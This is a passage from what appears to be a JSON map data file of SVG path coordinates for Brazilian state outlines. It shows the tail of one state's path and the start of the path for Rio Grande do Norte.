63759.00C173325.00 63770.00 173325.00 63781.00 173325.00 63792.00C173260.67 63802.67 173196.33 63813.33 173132.00 63824.00C173132.00 63834.67 173132.00 63845.33 173132.00 63856.00C173142.67 63866.67 173153.33 63877.33 173164.00 63888.00C173174.67 63909.33 173185.33 63930.67 173196.00 63952.00C173174.67 63973.67 173153.33 63995.33 173132.00 64017.00C173121.33 64038.33 173110.67 64059.67 173100.00 64081.00C173110.67 64091.67 173121.33 64102.33 173132.00 64113.00C173110.67 64113.00 173089.33 64113.00 173068.00 64113.00C173078.67 64123.67 173089.33 64134.33 173100.00 64145.00C173100.00 64166.67 173100.00 64188.33 173100.00 64210.00C173089.33 64220.67 173078.67 64231.33 173068.00 64242.00C173078.67 64252.67 173089.33 64263.33 173100.00 64274.00C173089.33 64284.67 173078.67 64295.33 173068.00 64306.00C173068.00 64316.67 173068.00 64327.33 173068.00 64338.00C173035.67 64348.67 173003.33 64359.33 172971.00 64370.00C172960.33 64381.00 172949.67 64392.00 172939.00 64403.00C172907.00 64403.00 172875.00 64403.00 172843.00 64403.00C172832.33 64413.67 172821.67 64424.33 172811.00 64435.00C172811.00 64467.00 172811.00 64499.00 172811.00 64531.00C172800.00 64541.67 172789.00 64552.33 172778.00 64563.00C172778.00 64584.67 172778.00 64606.33 172778.00 64628.00C172767.33 64628.00 172756.67 64628.00 172746.00 64628.00C172724.67 64638.67 172703.33 64649.33 172682.00 64660.00C172692.67 64670.67 172703.33 64681.33 172714.00 64692.00C172703.33 64702.67 172692.67 64713.33 172682.00 64724.00C172671.33 64745.33 172660.67 64766.67 172650.00 64788.00C172628.33 64788.00 172606.67 64788.00 172585.00 64788.00C172563.67 64799.00 172542.33 64810.00 172521.00 64821.00C172510.33 64810.00 172499.67 64799.00 172489.00 64788.00C172489.00 64799.00 172489.00 64810.00 172489.00 64821.00C172478.33 64831.67 172467.67 64842.33 172457.00 64853.00C172414.00 64853.00 172371.00 64853.00 172328.00 64853.00C172328.00 64842.33 172328.00 64831.67 172328.00 64821.00C172317.33 64821.00 172306.67 64821.00 172296.00 64821.00C172285.33 64842.33 172274.67 64863.67 172264.00 64885.00C172285.33 64895.67 172306.67 64906.33 172328.00 64917.00C172328.00 64938.33 172328.00 64959.67 172328.00 64981.00C172317.33 65013.33 172306.67 65045.67 172296.00 65078.00C172242.33 65078.00 172188.67 65078.00 172135.00 65078.00C172113.67 65067.33 172092.33 65056.67 172071.00 65046.00C172049.67 65067.33 172028.33 65088.67 172007.00 65110.00C172007.00 65142.00 172007.00 65174.00 172007.00 65206.00C171985.33 65217.00 171963.67 65228.00 171942.00 65239.00C171931.33 65228.00 171920.67 65217.00 171910.00 65206.00C171888.67 65206.00 171867.33 65206.00 171846.00 65206.00C171846.00 65227.67 171846.00 65249.33 171846.00 65271.00C171835.33 65271.00 171824.67 65271.00 171814.00 65271.00C171803.33 65260.33 171792.67 65249.67 171782.00 65239.00C171771.00 65249.67 171760.00 65260.33 171749.00 65271.00C171738.33 65271.00 171727.67 65271.00 171717.00 65271.00C171717.00 65292.33 171717.00 65313.67 171717.00 65335.00C171706.33 65356.33 171695.67 65377.67 171685.00 65399.00C171695.67 65420.67 171706.33 65442.33 171717.00 65464.00C171695.67 65506.67 171674.33 65549.33 171653.00 65592.00C171642.33 65602.66 171631.67 65613.34 171621.00 65624.00C171621.00 65645.67 171621.00 65667.33 171621.00 65689.00C171599.67 65689.00 171578.33 65689.00 171557.00 65689.00C171546.00 65699.67 171535.00 65710.33 171524.00 65721.00C171492.00 65710.33 171460.00 65699.67 171428.00 65689.00C171427.95 65678.26 171428.09 65667.52 171427.93 65656.78C171417.28 65624.52 171406.64 65592.26 171396.00 65560.00C171385.33 65560.00 171374.67 65560.00 171364.00 65560.00C171353.33 65570.66 171342.67 65581.34 171332.00 65592.00C171289.00 65581.33 171246.00 65570.67 171203.00 65560.00C171181.67 65592.34 171160.33 65624.66 171139.00 65657.00C171096.00 65689.00 171053.00 65721.00 171010.00 65753.00C170999.33 65742.34 170988.67 65731.66 170978.00 65721.00C170999.33 65699.66 171020.67 65678.34 171042.00 65657.00C171031.33 65635.34 171020.67 65613.66 171010.00 65592.00C171010.00 65570.67 171010.00 65549.33 171010.00 65528.00C170999.33 65485.00 170988.67 65442.00 170978.00 65399.00C170967.33 65377.67 170956.67 65356.33 170946.00 65335.00C170946.00 65313.67 170946.00 65292.33 170946.00 65271.00C170913.67 65249.33 170881.33 65227.67 170849.00 65206.00C170838.33 65174.00 170827.67 65142.00 170817.00 65110.00C170795.67 65099.33 170774.33 65088.67 170753.00 65078.00C170710.00 65078.00 170667.00 65078.00 170624.00 65078.00C170602.67 65045.67 170581.33 65013.33 170560.00 64981.00C170527.67 64970.33 170495.33 64959.67 170463.00 64949.00C170441.67 64959.67 170420.33 64970.33 170399.00 64981.00C170377.67 64981.00 170356.33 64981.00 170335.00 64981.00C170324.33 64991.67 170313.67 65002.33 170303.00 65013.00C170281.33 65013.00 170259.67 65013.00 170238.00 65013.00C170248.67 65002.33 170259.33 64991.67 170270.00 64981.00C170270.00 64949.00 170270.00 64917.00 170270.00 64885.00C170238.00 64874.33 170206.00 64863.67 170174.00 64853.00C170174.00 64842.33 170174.00 64831.67 170174.00 64821.00C170163.33 64810.00 170152.67 64799.00 170142.00 64788.00C170131.33 64799.00 170120.67 64810.00 170110.00 64821.00C170067.00 64821.00 170024.00 64821.00 169981.00 64821.00C169981.00 64799.33 169981.00 64777.67 169981.00 64756.00C169991.67 64745.33 170002.33 64734.67 170013.00 64724.00C170013.00 64692.00 170013.00 64660.00 170013.00 64628.00C170029.79 64610.69 170046.45 64593.25 170063.80 64576.49C170079.20 64561.33 170094.60 64546.16 170110.00 64531.00C170120.67 64531.00 170131.33 64531.00 170142.00 64531.00C170131.33 64520.33 170120.67 64509.67 170110.00 64499.00C170099.33 64499.00 170088.67 64499.00 170078.00 64499.00C170066.97 64488.26 170055.85 64477.61 170044.87 64466.81C170023.58 64434.54 170002.29 64402.27 169981.00 64370.00C169970.33 64327.33 169959.67 64284.67 169949.00 64242.00C169949.00 64231.33 169949.00 64220.67 169949.00 64210.00C169927.67 64199.00 169906.33 64188.00 169885.00 64177.00C169823.23 64115.66 169761.31 64054.48 169699.84 63992.85C169695.66 63988.73 169691.72 63984.33 169686.79 63981.08C169645.53 63950.05 169604.26 63919.03 169563.00 63888.00C169552.33 63888.00 169541.67 63888.00 169531.00 63888.00C169466.78 63855.78 169402.36 63823.95 169338.00 63792.00C169327.26 63791.96 169316.52 63792.07 169305.78 63791.94C169262.85 63780.96 169219.93 63769.98 169177.00 63759.00C169155.67 63737.67 169134.33 63716.33 169113.00 63695.00C169102.33 63673.67 169091.67 63652.33 169081.00 63631.00C169059.33 63609.67 169037.67 63588.33 169016.00 63567.00C169005.33 63567.00 168994.67 63567.00 168984.00 63567.00C168941.20 63534.59 168898.45 63502.12 168855.62 63469.75C168823.41 63448.50 168791.21 63427.25 168759.00 63406.00C168737.67 63384.67 168716.33 63363.33 168695.00 63342.00C168673.67 63309.67 168652.33 63277.33 168631.00 63245.00C168620.00 63245.00 168609.00 63245.00 168598.00 63245.00C168587.33 63234.33 168576.67 63223.67 168566.00 63213.00C168534.00 63213.00 168502.00 63213.00 168470.00 63213.00C168437.67 63191.67 168405.33 63170.33 168373.00 63149.00C168351.67 63127.33 168330.33 63105.67 168309.00 63084.00C168298.26 63084.05 168287.52 63083.90 168276.78 63084.07C168244.85 63094.72 168212.93 63105.36 168181.00 63116.00C168148.59 63116.02 168116.19 63115.96 168083.78 63116.03C168008.50 63127.11 167933.19 63138.04 167857.92 63149.21C167804.62 63159.81 167751.31 63170.40 167698.00 63181.00C167633.67 63181.00 167569.33 63181.00 167505.00 63181.00C167473.00 63170.33 167441.00 63159.67 167409.00 63149.00C167398.33 63159.67 167387.67 63170.33 167377.00 63181.00C167323.33 63202.33 167269.67 63223.67 167216.00 63245.00C167194.67 63234.33 167173.33 63223.67 167152.00 63213.00C167141.00 63213.00 167130.00 63213.00 167119.00 63213.00C167044.00 63298.67 166969.00 63384.33 166894.00 63470.00C166862.00 63480.67 166830.00 63491.33 166798.00 63502.00C166755.00 63491.33 166712.00 63480.67 166669.00 63470.00C166647.67 63491.33 166626.33 63512.67 166605.00 63534.00C166519.33 63534.00 166433.67 63534.00 166348.00 63534.00C166229.20 63555.86 166110.36 63577.54 165991.57 63599.52C165842.38 63631.35 165693.19 63663.17 165544.00 63695.00C165501.00 63630.67 165458.00 63566.33 165415.00 63502.00C165404.33 63491.33 165393.67 63480.67 165383.00 63470.00C165361.67 63470.00 165340.33 63470.00 165319.00 63470.00C165276.00 63448.67 165233.00 63427.33 165190.00 63406.00C165104.33 63427.33 165018.67 63448.67 164933.00 63470.00C164729.33 63470.00 164525.67 63470.00 164322.00 63470.00C164247.00 63480.67 164172.00 63491.33 164097.00 63502.00C164118.33 63416.33 164139.67 63330.67 164161.00 63245.00C164150.33 63223.67 164139.67 63202.33 164129.00 63181.00C164172.00 63159.33 164215.00 63137.67 164258.00 63116.00C164268.67 63094.67 164279.33 63073.33 164290.00 63052.00C164279.33 63009.00 164268.67 62966.00 164258.00 62923.00C164268.75 62837.06 164279.32 62751.08 164290.16 62665.15C164300.78 62612.10 164311.39 62559.05 164322.00 62506.00C164332.67 62495.00 164343.33 62484.00 164354.00 62473.00C164354.00 62451.67 164354.00 62430.33 164354.00 62409.00C164375.67 62344.67 164397.33 62280.33 164419.00 62216.00C164408.00 62194.67 164397.00 62173.33 164386.00 62152.00C164418.33 62109.00 164450.67 62066.00 164483.00 62023.00C164483.00 62012.33 164483.00 62001.67 164483.00 61991.00C164504.33 61980.33 164525.67 61969.67 164547.00 61959.00C164568.67 61916.00 164590.33 61873.00 164612.00 61830.00C164612.00 61819.33 164612.00 61808.67 164612.00 61798.00C164633.33 61776.67 164654.67 61755.33 164676.00 61734.00C164676.00 61723.33 164676.00 61712.67 164676.00 61702.00C164665.33 61702.00 164654.67 61702.00 164644.00 61702.00C164644.00 61680.33 164644.00 61658.67 164644.00 61637.00C164654.67 61648.00 164665.33 61659.00 164676.00 61670.00C164676.00 61659.00 164676.00 61648.00 164676.00 61637.00C164708.00 61626.33 164740.00 61615.67 164772.00 61605.00C164772.00 61594.33 164772.00 61583.67 164772.00 61573.00C164740.00 61562.33 164708.00 61551.67 164676.00 61541.00C164676.00 61466.00 164676.00 61391.00 164676.00 61316.00C164686.67 61294.33 164697.33 61272.67 164708.00 61251.00C164686.67 61197.67 164665.33 61144.33 164644.00 61091.00C164654.67 61069.33 164665.33 61047.67 164676.00 61026.00C164676.00 60983.33 164676.00 60940.67 164676.00 60898.00C164697.33 60887.33 164718.67 60876.67 164740.00 60866.00C164750.67 60866.00 164761.33 60866.00 164772.00 60866.00C164782.67 60844.33 164793.33 60822.67 164804.00 60801.00C164838.13 60767.39 164872.35 60733.86 164906.12 60699.89C164925.74 60680.26 164945.37 60660.63 164965.00 60641.00C164965.00 60630.00 164965.00 60619.00 164965.00 60608.00C164933.00 60597.33 164901.00 60586.67 164869.00 60576.00C164847.33 60586.67 164825.67 60597.33 164804.00 60608.00C164782.67 60629.67 164761.33 60651.33 164740.00 60673.00C164718.67 60673.00 164697.33 60673.00 164676.00 60673.00C164665.33 60662.33 164654.67 60651.67 164644.00 60641.00C164633.33 60608.67 164622.67 60576.33 164612.00 60544.00C164601.00 60533.33 164590.00 60522.67 164579.00 60512.00C164568.33 60479.67 164557.67 60447.33 164547.00 60415.00C164547.00 60404.33 164547.00 60393.67 164547.00 60383.00C164515.00 60351.00 164483.00 60319.00 164451.00 60287.00C164429.33 60276.33 164407.67 60265.67 164386.00 60255.00C164343.26 60254.98 164300.52 60255.04 164257.78 60254.97C164182.06 60244.15 164106.31 60233.52 164030.60 60222.59C163967.07 60211.72 163903.53 60200.86 163840.00 60190.00C163829.26 60179.30 163818.61 60168.52 163807.81 60157.88C163775.54 60136.58 163743.27 60115.29 163711.00 60094.00C163679.00 60062.00 163647.00 60030.00 163615.00 59998.00C163529.00 59998.00 163443.00 59998.00 163357.00 59998.00C163314.35 59954.99 163271.89 59911.77 163229.00 59869.00C163250.33 59826.00 163271.67 59783.00 163293.00 59740.00C163293.00 59729.33 163293.00 59718.67 163293.00 59708.00C163271.67 59686.67 163250.33 59665.33 163229.00 59644.00C163229.00 59633.33 163229.00 59622.67 163229.00 59612.00C163207.67 59558.33 163186.33 59504.67 163165.00 59451.00C163100.67 59386.67 163036.33 59322.33 162972.00 59258.00C162972.00 59215.00 162972.00 59172.00 162972.00 59129.00C162961.33 59086.33 162950.67 59043.67 162940.00 59001.00C162940.00 58926.00 162940.00 58851.00 162940.00 58776.00C162929.00 58722.33 162918.00 58668.67 162907.00 58615.00C162907.00 58593.67 162907.00 58572.33 162907.00 58551.00C162928.67 58540.00 162950.33 58529.00 162972.00 58518.00C162982.67 58464.67 162993.33 58411.33 163004.00 58358.00C163004.00 58304.33 163004.00 58250.67 163004.00 58197.00C162993.33 58186.33 162982.67 58175.67 162972.00 58165.00C162950.33 58154.33 162928.67 58143.67 162907.00 58133.00C162896.33 58122.33 162885.67 58111.67 162875.00 58101.00C162853.67 58047.33 162832.33 57993.67 162811.00 57940.00C162768.00 57886.33 162725.00 57832.67 162682.00 57779.00C162682.00 57661.00 162682.00 57543.00 162682.00 57425.00C162692.67 57393.00 162703.33 57361.00 162714.00 57329.00C162692.67 57286.00 162671.33 57243.00 162650.00 57200.00C162628.67 57125.00 162607.33 57050.00 162586.00 56975.00C162564.33 56953.67 162542.67 56932.33 162521.00 56911.00C162489.00 56921.67 162457.00 56932.33 162425.00 56943.00C162425.00 56889.33 162425.00 56835.67 162425.00 56782.00C162446.33 56760.67 162467.67 56739.33 162489.00 56718.00C162489.00 56707.33 162489.00 56696.67 162489.00 56686.00C162499.67 56675.33 162510.33 56664.67 162521.00 56654.00C162532.00 56621.67 162543.00 56589.33 162554.00 56557.00C162554.00 56471.33 162554.00 56385.67 162554.00 56300.00C162521.67 56267.67 162489.33 56235.33 162457.00 56203.00C162467.67 56171.00 162478.33 56139.00 162489.00 56107.00C162467.56 56052.93 162445.94 55998.93 162424.61 55944.82C162414.07 55913.21 162403.54 55881.61 162393.00 55850.00C162403.67 55796.33 162414.33 55742.67 162425.00 55689.00C162403.79 55603.30 162382.46 55517.64 162361.00 55432.00C162371.67 55410.33 162382.33 55388.67 162393.00 55367.00C162371.67 55335.00 162350.33 55303.00 162329.00 55271.00C162318.00 55228.00 162307.00 55185.00 162296.00 55142.00C162285.33 55120.67 162274.67 55099.33 162264.00 55078.00C162274.67 55067.33 162285.33 55056.67 162296.00 55046.00C162328.33 55035.33 162360.67 55024.67 162393.00 55014.00C162403.67 54992.59 162414.46 54971.23 162425.05 54949.78C162435.70 54906.85 162446.35 54863.93 162457.00 54821.00C162435.45 54778.11 162414.13 54735.10 162393.00 54692.00C162393.00 54649.33 162393.00 54606.67 162393.00 54564.00C162360.67 54542.33 162328.33 54520.67 162296.00 54499.00C162296.00 54477.67 162296.00 54456.33 162296.00 54435.00C162285.33 54413.67 162274.67 54392.33 162264.00 54371.00C162274.67 54360.33 162285.33 54349.67 162296.00 54339.00C162296.00 54285.33 162296.00 54231.67 162296.00 54178.00C162317.67 54156.67 162339.33 54135.33 162361.00 54114.00C162361.00 54103.00 162361.00 54092.00 162361.00 54081.00C162350.33 54059.67 162339.67 54038.33 162329.00 54017.00C162310.28 53998.88 162291.54 53980.79 162273.23 53962.25C162270.01 53958.73 162266.07 53955.71 162263.40 53951.78C162252.93 53930.52 162242.46 53909.26 162232.00 53888.00C162232.00 53877.33 162232.00 53866.67 162232.00 53856.00C162242.67 53845.33 162253.33 53834.67 162264.00 53824.00C162296.33 53824.00 162328.67 53824.00 162361.00 53824.00C162371.67 53813.33 162382.33 53802.67 162393.00 53792.00C162382.18 53770.49 162371.56 53748.87 162360.62 53727.43C162339.08 53695.29 162317.54 53663.15 162296.00 53631.00C162285.33 53620.33 162274.67 53609.67 162264.00 53599.00C162274.67 53567.00 162285.33 53535.00 162296.00 53503.00C162317.67 53492.00 162339.33 53481.00 162361.00 53470.00C162371.67 53438.00 162382.33 53406.00 162393.00 53374.00C162393.00 53352.67 162393.00 53331.33 162393.00 53310.00C162371.67 53299.33 162350.33 53288.67 162329.00 53278.00C162329.00 53235.00 162329.00 53192.00 162329.00 53149.00C162350.33 53138.33 162371.67 53127.67 162393.00 53117.00C162382.33 53095.33 162371.67 53073.67 162361.00 53052.00C162350.33 53052.00 162339.67 53052.00 162329.00 53052.00C162296.67 53030.67 162264.33 53009.33 162232.00 52988.00C162264.33 52966.67 162296.67 52945.33 162329.00 52924.00C162318.00 52881.00 162307.00 52838.00 162296.00 52795.00C162307.00 52763.00 162318.00 52731.00 162329.00 52699.00C162318.00 52677.33 162307.00 52655.67 162296.00 52634.00C162264.00 52634.00 162232.00 52634.00 162200.00 52634.00C162178.67 52602.00 162157.33 52570.00 162136.00 52538.00C162125.33 52538.00 162114.67 52538.00 162104.00 52538.00C162093.00 52548.67 162082.00 52559.33 162071.00 52570.00C162060.33 52538.00 162049.67 52506.00 162039.00 52474.00C161996.33 52452.33 161953.67 52430.67 161911.00 52409.00C161911.00 52377.00 161911.00 52345.00 161911.00 52313.00C161889.33 52323.67 161867.67 52334.33 161846.00 52345.00C161835.33 52313.00 161824.67 52281.00 161814.00 52249.00C161803.33 52249.00 161792.67 52249.00 161782.00 52249.00C161760.67 52270.33 161739.33 52291.67 161718.00 52313.00C161675.00 52291.67 161632.00 52270.33 161589.00 52249.00C161589.00 52227.33 161589.00 52205.67 161589.00 52184.00C161578.33 52173.33 161567.67 52162.67 161557.00 52152.00C161557.00 52141.33 161557.00 52130.67 161557.00 52120.00C161546.33 52120.00 161535.67 52120.00 161525.00 52120.00C161525.00 52098.67 161525.00 52077.33 161525.00 52056.00C161471.33 52056.00 161417.67 52056.00 161364.00 52056.00C161374.67 52013.00 161385.33 51970.00 161396.00 51927.00C161396.00 51895.00 161396.00 51863.00 161396.00 51831.00C161374.67 51820.00 161353.33 51809.00 161332.00 51798.00C161332.00 51776.67 161332.00 51755.33 161332.00 51734.00C161321.33 51734.00 161310.67 51734.00 161300.00 51734.00C161289.33 51744.67 161278.67 51755.33 161268.00 51766.00C161214.33 51691.00 161160.67 51616.00 161107.00 51541.00C161085.33 51530.33 161063.67 51519.67 161042.00 51509.00C161031.33 51530.33 161020.67 51551.67 161010.00 51573.00C160999.33 51562.33 160988.67 51551.67 160978.00 51541.00C160978.00 51530.33 160978.00 51519.67 160978.00 51509.00C160956.67 51509.00 160935.33 51509.00 160914.00 51509.00C160914.00 51487.67 160914.00 51466.33 160914.00 51445.00C160892.67 51412.67 160871.33 51380.33 160850.00 51348.00C160860.67 51326.67 160871.33 51305.33 160882.00 51284.00C160849.67 51241.00 160817.33 51198.00 160785.00 51155.00C160806.67 51133.67 160828.33 51112.33 160850.00 51091.00C160839.00 51037.33 160828.00 50983.67 160817.00 50930.00C160838.67 50919.33 160860.33 50908.67 160882.00 50898.00C160882.05 50887.26 160881.90 50876.52 160882.07 50865.78C160892.72 50833.86 160903.36 50801.93 160914.00 50770.00C160935.33 50759.00 160956.67 50748.00 160978.00 50737.00C160978.00 50726.33 160978.00 50715.67 160978.00 50705.00C160935.33 50694.33 160892.67 50683.67 160850.00 50673.00C160828.33 50662.33 160806.67 50651.67 160785.00 50641.00C160785.00 50630.33 160785.00 50619.67 160785.00 50609.00C160806.67 50598.33 160828.33 50587.67 160850.00 50577.00C160850.00 50566.33 160850.00 50555.67 160850.00 50545.00C160860.67 50523.33 160871.33 50501.67 160882.00 50480.00C160924.71 50437.27 160967.47 50394.59 161010.14 50351.82C161053.09 50298.21 161096.05 50244.61 161139.00 50191.00C161128.19 50180.08 161117.15 50169.37 161106.48 50158.32C161074.32 50115.54 161042.16 50072.77 161010.00 50030.00C160967.33 50008.67 160924.67 49987.33 160882.00 49966.00C160882.00 49944.33 160882.00 49922.67 160882.00 49901.00C160892.67 49869.00 160903.33 49837.00 160914.00 49805.00C160914.00 49783.67 160914.00 49762.33 160914.00 49741.00C160892.67 49741.00 160871.33 49741.00 160850.00 49741.00C160839.00 49730.33 160828.00 49719.67 160817.00 49709.00C160849.33 49709.00 160881.67 49709.00 160914.00 49709.00C160924.67 49676.67 160935.33 49644.33 160946.00 49612.00C160956.67 49612.00 160967.33 49612.00 160978.00 49612.00C160988.67 49580.00 160999.33 49548.00 161010.00 49516.00C161031.67 49494.33 161053.33 49472.67 161075.00 49451.00C161075.00 49408.33 161075.00 49365.67 161075.00 49323.00C161096.33 49290.67 161117.67 49258.33 161139.00 49226.00C161139.00 49172.33 161139.00 49118.67 161139.00 49065.00C161160.33 49022.33 161181.67 48979.67 161203.00 48937.00C161203.00 48883.33 161203.00 48829.67 161203.00 48776.00C161224.67 48754.67 161246.33 48733.33 161268.00 48712.00C161289.33 48669.00 161310.67 48626.00 161332.00 48583.00C161353.33 48572.33 161374.67 48561.67 161396.00 48551.00C161395.98 48518.93 161396.05 48486.85 161395.96 48454.78C161374.65 48326.18 161353.32 48197.59 161332.00 48069.00C161385.67 47983.00 161439.33 47897.00 161493.00 47811.00C161514.33 47789.67 161535.67 47768.33 161557.00 47747.00C161514.00 47736.33 161471.00 47725.67 161428.00 47715.00C161406.67 47704.33 161385.33 47693.67 161364.00 47683.00C161364.00 47661.67 161364.00 47640.33 161364.00 47619.00C161342.67 47586.67 161321.33 47554.33 161300.00 47522.00C161310.67 47511.33 161321.33 47500.67 161332.00 47490.00C161353.33 47425.67 161374.67 47361.33 161396.00 47297.00C161385.33 47275.67 161374.67 47254.33 161364.00 47233.00C161385.33 47211.33 161406.67 47189.67 161428.00 47168.00C161428.00 47157.33 161428.00 47146.67 161428.00 47136.00C161417.33 47125.33 161406.67 47114.67 161396.00 47104.00C161364.00 47104.00 161332.00 47104.00 161300.00 47104.00C161267.67 47093.33 161235.33 47082.67 161203.00 47072.00C161192.33 47072.00 161181.67 47072.00 161171.00 47072.00C161149.67 47061.33 161128.33 47050.67 161107.00 47040.00C161107.00 47029.33 161107.00 47018.67 161107.00 47008.00C161096.33 47018.67 161085.67 47029.33 161075.00 47040.00C161064.00 47029.33 161053.00 47018.67 161042.00 47008.00C161020.67 47018.67 160999.33 47029.33 160978.00 47040.00C160956.67 47040.00 160935.33 47040.00 160914.00 47040.00C160871.11 47061.55 160828.10 47082.86 160785.00 47104.00C160774.33 47104.00 160763.67 47104.00 160753.00 47104.00C160753.00 47093.33 160753.00 47082.67 160753.00 47072.00C160785.33 47050.67 160817.67 47029.33 160850.00 47008.00C160828.13 46965.10 160806.46 46922.10 160785.00 46879.00C160795.67 46868.33 160806.33 46857.67 160817.00 46847.00C160817.00 46836.33 160817.00 46825.67 160817.00 46815.00C160828.00 46815.00 160839.00 46815.00 160850.00 46815.00C160850.00 46804.33 160850.00 46793.67 160850.00 46783.00C160860.67 46783.00 160871.33 46783.00 160882.00 46783.00C160903.33 46729.33 160924.67 46675.67 160946.00 46622.00C160924.67 46579.00 160903.33 46536.00 160882.00 46493.00C160860.33 46471.67 160838.67 46450.33 160817.00 46429.00C160795.45 46386.11 160774.13 46343.10 160753.00 46300.00C160753.00 46289.33 160753.00 46278.67 160753.00 46268.00C160731.67 46246.67 160710.33 46225.33 160689.00 46204.00C160688.95 46193.26 160689.09 46182.52 160688.93 46171.78C160678.28 46139.52 160667.64 46107.26 160657.00 46075.00C160646.00 46075.00 160635.00 46075.00 160624.00 46075.00C160624.00 46064.33 160624.00 46053.67 160624.00 46043.00C160602.67 46064.33 160581.33 46085.67 160560.00 46107.00C160560.00 46096.33 160560.00 46085.67 160560.00 46075.00C160613.67 46021.33 160667.33 45967.67 160721.00 45914.00C160742.33 45882.00 160763.67 45850.00 160785.00 45818.00C160763.67 45796.67 160742.33 45775.33 160721.00 45754.00C160731.67 45700.33 160742.33 45646.67 160753.00 45593.00C160763.67 45582.33 160774.33 45571.67 160785.00 45561.00C160806.67 45561.00 160828.33 45561.00 160850.00 45561.00C160850.00 45550.33 160850.00 45539.67 160850.00 45529.00C160817.67 45507.33 160785.33 45485.67 160753.00 45464.00C160721.00 45464.00 160689.00 45464.00 160657.00 45464.00C160635.33 45442.67 160613.67 45421.33 160592.00 45400.00C160538.67 45400.00 160485.33 45400.00 160432.00 45400.00C160410.33 45389.33 160388.67 45378.67 160367.00 45368.00C160356.33 45357.33 160345.67 45346.67 160335.00 45336.00C160345.67 45325.00 160356.33 45314.00 160367.00 45303.00C160377.67 45228.00 160388.33 45153.00 160399.00 45078.00C160377.67 45024.67 160356.33 44971.33 160335.00 44918.00C160292.05 44896.63 160249.22 44875.03 160206.48 44853.25C160205.37 44850.75 160206.31 44846.99 160206.00 44844.00C160206.00 44836.33 160206.00 44828.67 160206.00 44821.00C160217.00 44810.33 160228.00 44799.67 160239.00 44789.00C160239.00 44778.33 160239.00 44767.67 160239.00 44757.00C160281.67 44757.00 160324.33 44757.00 160367.00 44757.00C160388.67 44724.67 160410.33 44692.33 160432.00 44660.00C160432.00 44606.67 160432.00 44553.33 160432.00 44500.00C160442.67 44489.00 160453.33 44478.00 160464.00 44467.00C160496.00 44456.33 160528.00 44445.67 160560.00 44435.00C160538.67 44435.00 160517.33 44435.00 160496.00 44435.00C160474.67 44445.67 160453.33 44456.33 160432.00 44467.00C160431.96 44456.26 160432.08 44445.52 160431.94 44434.78C160420.96 44392.19 160409.98 44349.59 160399.00 44307.00C160377.67 44285.33 160356.33 44263.67 160335.00 44242.00C160335.00 44178.00 160335.00 44114.00 160335.00 44050.00C160270.67 44050.00 160206.33 44050.00 160142.00 44050.00C160131.33 44028.33 160120.67 44006.67 160110.00 43985.00C160099.33 43985.00 160088.67 43985.00 160078.00 43985.00C160078.00 43931.33 160078.00 43877.67 160078.00 43824.00C160045.67 43835.00 160013.33 43846.00 159981.00 43857.00C159981.00 43846.00 159981.00 43835.00 159981.00 43824.00C159992.00 43802.67 160003.00 43781.33 160014.00 43760.00z"},"br-20":{"name":"Rio Grande do Norte","path":"M173454.00 58068.00C173454.00 58057.33 173454.00 58046.67 173454.00 58036.00C173475.33 58025.33 173496.67 58014.67 173518.00 58004.00C173528.67 57993.34 173539.33 57982.66 173550.00 57972.00C173560.67 57939.67 173571.33 57907.33 173582.00 57875.00C173603.67 57886.00 173625.33 57897.00 173647.00 57908.00C173657.67 57886.33 173668.33 57864.67 173679.00 57843.00C173689.67 57832.34 173700.33 57821.66 173711.00 57811.00C173711.00 57800.33 173711.00 57789.67 173711.00 57779.00C173700.33 57768.34 173689.67 57757.66 173679.00 57747.00C173679.00 57714.67 173679.00 57682.33 173679.00 57650.00C173721.67 57639.33 173764.33 57628.67 173807.00 57618.00C173807.00 57596.67 173807.00 57575.33 173807.00 57554.00C173850.00 57511.00 173893.00 57468.00 173936.00 57425.00C173936.00 57414.33 173936.00 57403.67 173936.00 57393.00C173946.68 57371.62 173957.40 57350.26 173968.05 57328.86C173978.70 57296.58 173989.35 57264.29 174000.00 57232.00C174010.67 57232.00 174021.33 57232.00 174032.00 57232.00C174053.67 57210.67 174075.33 57189.33 174097.00 57168.00C174086.33 57146.67 174075.67 57125.33 174065.00 57104.00C174086.33 57093.33 174107.67 57082.67 174129.00 57072.00C174161.00 57039.67 174193.00 57007.33 174225.00 56975.00C174235.67 56975.00 174246.33 56975.00 174257.00 56975.00C174268.00 56964.33 174279.00 56953.67 174290.00 56943.00C174300.67 56953.66 174311.33 56964.34 174322.00 56975.00C174332.67 56964.34 174343.33 56953.66 174354.00 56943.00C174354.00 56964.33 174354.00 56985.67 174354.00 57007.00C174364.67 57007.00 174375.33 57007.00 174386.00 57007.00C174386.00 57017.67 174386.00 57028.33 174386.00 57039.00C174396.67 57060.67 174407.33 57082.33 174418.00 57104.00C174428.67 57114.66 174439.33 57125.34 174450.00 57136.00C174482.33 57114.66 174514.67 57093.34 174547.00 57072.00C174547.00 57050.33 174547.00 57028.67 174547.00 57007.00C174557.67 57028.67 174568.33 57050.33 174579.00 57072.00C174611.33 57072.00 174643.67 57072.00 174676.00 57072.00C174697.33 57082.67 174718.67 57093.33 174740.00 57104.00C174761.33 57082.33 174782.67 57060.67 174804.00 57039.00C174825.33 57039.00 174846.67 57039.00 174868.00 57039.00C174868.00 57028.33 174868.00 57017.67 174868.00 57007.00C174889.67 56985.67 174911.33 56964.33 174933.00 56943.00C174943.67 56943.00 174954.33 56943.00 174965.00 56943.00C174975.67 56932.34 174986.33 56921.66 174997.00 56911.00C174997.00 56857.33 174997.00 56803.67 174997.00 56750.00C175007.67 56728.67 175018.33 56707.33 175029.00 56686.00C175093.33 56632.33 175157.67 56578.67 175222.00 56525.00C175243.33 56514.33 175264.67 56503.67 175286.00 56493.00C175297.00 56482.33 175308.00 56471.67 175319.00 56461.00C175329.67 56461.00 175340.33 56461.00 175351.00 56461.00C175372.33 56450.33 175393.67 56439.67 175415.00 56429.00C175415.00 56396.67 175415.00 56364.33 175415.00 56332.00C175436.33 56310.66 175457.67 56289.34 175479.00 56268.00C175489.67 56246.33 175500.33 56224.67 175511.00 56203.00C175532.67 56181.67 175554.33 56160.33 175576.00 56139.00C175597.33 56074.67 175618.67 56010.33 175640.00 55946.00C175629.33 55924.67 175618.67 55903.33 175608.00 55882.00C175629.33 55860.66 175650.67 55839.34 175672.00 55818.00C175672.00 55807.00 175672.00 55796.00 175672.00 55785.00C175725.67 55731.67 175779.33 55678.33 175833.00 55625.00C175862.83 55565.03 175892.36 55504.91 175922.62 55445.15C175935.75 55419.10 175948.88 55393.05 175962.00 55367.00C175940.33 55367.00 175918.67 55367.00 175897.00 55367.00C175897.00 55356.33 175897.00 55345.67 175897.00 55335.00C175875.67 55335.00 175854.33 